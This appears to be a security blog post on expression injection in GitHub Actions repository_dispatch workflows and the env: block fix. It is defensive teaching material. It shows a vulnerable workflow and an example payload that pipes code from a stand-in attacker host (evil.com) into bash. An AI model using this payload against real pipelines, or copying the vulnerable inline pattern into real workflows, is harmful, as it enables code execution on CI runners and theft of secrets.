ferkakta.dev

Expression injection in GitHub Actions repository_dispatch — and the one-line fix

I was hardening a cross-repo deploy pipeline built on repository_dispatch when I found a textbook expression injection sitting in plain sight. The trigger workflow accepted a client_payload JSON object from the caller and dropped its fields straight into a run: block.

How repository_dispatch works

When you call the repository_dispatch API, you send a JSON body with an event_type and an optional client_payload — an arbitrary JSON object the caller defines. Your workflow reads it via github.event.client_payload.*.

The critical detail: client_payload is attacker-controlled input. Anyone with the dispatch token can craft whatever payload they want. And that token requires contents:write, which means anyone who has it already has more access than they should (I wrote about that here).

The vulnerability

GitHub Actions evaluates ${{ }} expressions at YAML parse time — before bash ever sees the run: block. The engine does a literal string substitution into the shell script. No escaping. No quoting. Just raw interpolation.

So when you write:

- name: Parse trigger context
  run: |
    echo "source_repo=${{ github.event.client_payload.source_repo }}" >> "$GITHUB_OUTPUT"
    echo "short_sha=${{ github.event.client_payload.short_sha }}" >> "$GITHUB_OUTPUT"

And someone dispatches a payload like:

{
  "source_repo": "\"; curl https://evil.com/steal | bash #",
  "short_sha": "abc1234"
}

The run: block that bash actually executes becomes:

echo "source_repo="; curl https://evil.com/steal | bash #" >> "$GITHUB_OUTPUT"

The double-quote closes the echo, the semicolon starts a new command, and the # comments out the rest. Arbitrary code execution in your CI runner. This is CWE-78 — OS command injection via expression injection.

The fix

Move every client_payload value into an env: block:

- name: Parse trigger context
  env:
    CP_SOURCE_REPO: ${{ github.event.client_payload.source_repo }}
    CP_SHORT_SHA: ${{ github.event.client_payload.short_sha }}
    CP_BRANCH: ${{ github.event.client_payload.branch }}
  run: |
    echo "source_repo=$CP_SOURCE_REPO" >> "$GITHUB_OUTPUT"
    echo "short_sha=$CP_SHORT_SHA" >> "$GITHUB_OUTPUT"

That’s it.

Why env: works

The ${{ }} expression still evaluates at parse time — that doesn’t change. But now it writes the value into an environment variable, not into the shell script source. When bash runs, it sees $CP_SOURCE_REPO, which is a variable reference. Bash reads the variable’s value as data. It never parses it as code. The malicious payload becomes a harmless string sitting in an environment variable that gets echoed verbatim.

The distinction: inline ${{ }} in run: means “paste this string into the script.” ${{ }} in env: means “set this string as a variable that the script can read.” Same expression engine, completely different security boundary.

This is not specific to repository_dispatch

Every untrusted GitHub Actions context value has this problem:

The rule is simple: never put ${{ }} expressions inline in run: blocks when the value originates from outside your repository. Always go through env:.

Two problems, same API surface

The dispatch token that triggers your deploy workflow can also inject code into it. And because that token requires contents:write, the same token can push code to your repo directly. Expression injection and overprivileged tokens are two separate vulnerabilities sharing the same API surface. I covered the permissions side in the companion post.

If you’re doing cross-repo CI/CD with repository_dispatch, audit both: what the token can do, and what the payload can do to the workflow that receives it.

#github-actions #ci-cd #security